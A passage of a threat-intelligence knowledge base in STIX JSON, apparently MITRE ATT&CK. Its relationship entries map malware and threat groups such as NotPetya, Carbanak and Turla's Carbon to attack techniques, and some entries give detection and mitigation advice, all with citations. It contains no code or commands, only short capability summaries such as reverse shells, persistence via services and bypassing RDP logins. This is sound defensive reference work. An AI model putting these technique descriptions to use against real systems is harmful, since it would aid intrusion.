2021."}],"modified":"2021-01-08T21:16:36.990Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can copy itself to and launch itself from hidden folders.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aac7b4ce-93ee-4feb-83da-3b2600ad75b0","type":"relationship","created":"2020-05-07T02:33:06.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.515Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has uploaded a file containing debugger logs, network information and system information to the C2.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aac8f64e-54d1-4aad-80ee-dd3cd887f30e","type":"relationship","created":"2019-03-26T16:19:52.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","source_name":"Talos Nyetya June 2017"},{"source_name":"US-CERT NotPetya 2017","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A","description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T17:38:41.070Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) encrypts user files and disk structures like the MBR with 2048-bit RSA.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aac99c91-e1b1-42c0-8a13-f166027d5168","type":"relationship","created":"2019-01-29T19:36:02.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"},{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-03T21:03:56.293Z","description":"[Carbon](https://attack.mitre.org/software/S0335) encrypts configuration files and tasks for the malware to complete using CAST-128 algorithm.(Citation: ESET Carbon Mar 2017)(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aaca7907-7a43-4ebb-bd2b-bf7f497d9134","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis INOCNATION","description":"Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.","url":"https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}],"modified":"2020-03-20T02:24:20.838Z","description":"[Hi-Zor](https://attack.mitre.org/software/S0087) has the ability to create a reverse shell.(Citation: Fidelis INOCNATION)","relationship_type":"uses","source_ref":"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aaca809f-576c-4875-a09d-5a46a5e5e422","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"fsecure NanHaiShu July 2016","description":"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.","url":"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}],"modified":"2020-03-17T01:53:17.425Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) uses mshta.exe to load its program and files.(Citation: fsecure NanHaiShu July 2016)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aacb14e6-056f-4df4-8b9c-58a36076b1ad","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aacb43b8-2d3a-40bc-9f7b-1acb5b2474f2","type":"relationship","created":"2020-05-11T18:05:53.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html","description":"Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.","source_name":"FireEye Hikit Rootkit"},{"source_name":"FireEye HIKIT Rootkit Part 2","url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html","description":"Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."}],"modified":"2020-05-13T20:37:30.032Z","description":"[Hikit](https://attack.mitre.org/software/S0009) is a [Rootkit](https://attack.mitre.org/techniques/T1014) that has been used by [Axiom](https://attack.mitre.org/groups/G0001).(Citation: FireEye Hikit Rootkit) (Citation: FireEye HIKIT Rootkit Part 2) ","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aacc2945-4ff1-4bf8-8428-1198eb6e127e","type":"relationship","created":"2021-10-06T19:18:54.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-06T19:18:54.606Z","description":"[BADFLICK](https://attack.mitre.org/software/S0642) has uploaded files from victims' machines.(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:16.854Z","description":"[RTM](https://attack.mitre.org/software/S0148) can obtain the victim username and permissions.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aad8c4dc-db11-48b4-b294-f63ccde5e798","type":"relationship","created":"2017-05-31T21:33:27.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","source_name":"Kaspersky Carbanak"}],"modified":"2019-03-22T19:59:27.002Z","description":"[Carbanak](https://attack.mitre.org/groups/G0008) malware installs itself as a service to provide persistence and SYSTEM privileges.(Citation: Kaspersky Carbanak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aadfeef0-8532-4701-adf8-b2b4fb7ede08","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor and analyze traffic patterns and packet inspection associated with web-based network connections that are sent to malicious or suspicious detinations (e.g. destinations attributed to phishing campaigns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g. monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, .SCF, HTA, MSI, DLLs, or msiexec.exe).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aae10582-ba88-4a02-9d66-fd460bf4f303","type":"relationship","created":"2021-02-09T18:36:22.131Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-02-09T18:36:22.131Z","description":"[Explosive](https://attack.mitre.org/software/S0569) has used HTTP for communication.(Citation: CheckPoint Volatile Cedar March 2015)","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aae309ee-9d15-4188-8f74-68c581a3a720","created":"2022-08-09T13:02:09.414Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Application developers uploading to public code repositories should be careful to avoid publishing sensitive information such as credentials and API keys.","modified":"2022-08-09T13:02:09.414Z","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aae339ae-44bb-48d3-b62e-7f35376bb974","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"fsecure NanHaiShu July 2016","description":"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.","url":"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}],"modified":"2020-03-17T01:53:17.533Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) uses DNS for the C2 communications.(Citation: fsecure NanHaiShu July 2016)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aae621b9-9d10-4cd2-91f0-18f6fc8f8406","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)","source_ref":"x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEyeSupplyChain","description":"FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.","url":"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"}]},{"type":"relationship","id":"relationship--aae6444e-c9e5-4965-9499-8aa6d546b58e","created":"2022-09-02T20:46:33.488Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T20:46:33.488Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used [Tasklist](https://attack.mitre.org/software/S0057) to obtain information from a compromised host.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aaecf1d4-46fb-4528-b150-6919db3bfde7","created":"2024-01-05T21:39:58.589Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-05T21:39:58.589Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can compile and execute downloaded modules at runtime.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aaecf92d-75de-4767-9471-835353728a5c","created":"2022-04-14T20:00:19.432Z","x_mitre_version":"0.1","external_references":[{"source_name":"Sygnia Golden SAML","url":"https://www.sygnia.co/golden-saml-advisory","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)","modified":"2022-04-14T20:00:19.432Z","relationship_type":"detects","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aaeef068-5853-45c9-922a-9ff779041cbe","created":"2021-09-29T15:41:18.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FSI Andariel Campaign Rifle July 2017","description":"FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024.","url":"https://fsiceat.tistory.com/2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:22:43.286Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has used a variety of publicly-available remote access Trojans (RATs) for its operations.(Citation: FSI Andariel Campaign Rifle July 2017)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aaf0545f-bb47-4796-b23e-4780f354add9","type":"relationship","created":"2020-05-08T20:17:55.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T20:35:30.002Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has the ability to identify the current Windows domain of the infected host.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aaf68c56-f476-4952-a622-d9951212c2a2","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for changes made to files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aafa7447-cb73-4309-ac75-5326ab0d1079","type":"relationship","created":"2021-03-12T18:46:47.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T18:46:47.204Z","description":"[Sibot](https://attack.mitre.org/software/S0589) can decrypt data received from a C2 and save to a file.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aafab4f1-96d9-4c9e-8f87-98a38db520fe","created":"2023-03-17T19:26:13.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"},{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T16:44:54.864Z","description":"During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors sent phishing emails with unique malicious links, likely for tracking victim clicks.(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab009520-dffe-4494-9468-0189060cca01","created":"2021-03-15T15:05:13.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.142Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can remove strings from binaries.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab058a49-a8fc-403d-ae97-9137625c82d7","type":"relationship","created":"2021-01-28T15:55:35.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Rewterz Sidewinder APT April 2020","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."}],"modified":"2021-07-21T12:24:09.144Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used tools to enumerate software installed on an infected host.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab069468-3dff-4c77-9293-adb0b2627a4e","type":"relationship","created":"2017-05-31T21:33:27.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf","description":"RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.","source_name":"RSA Shell Crew"}],"modified":"2020-04-17T21:11:30.420Z","description":"[Deep Panda](https://attack.mitre.org/groups/G0009) has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions.(Citation: RSA Shell 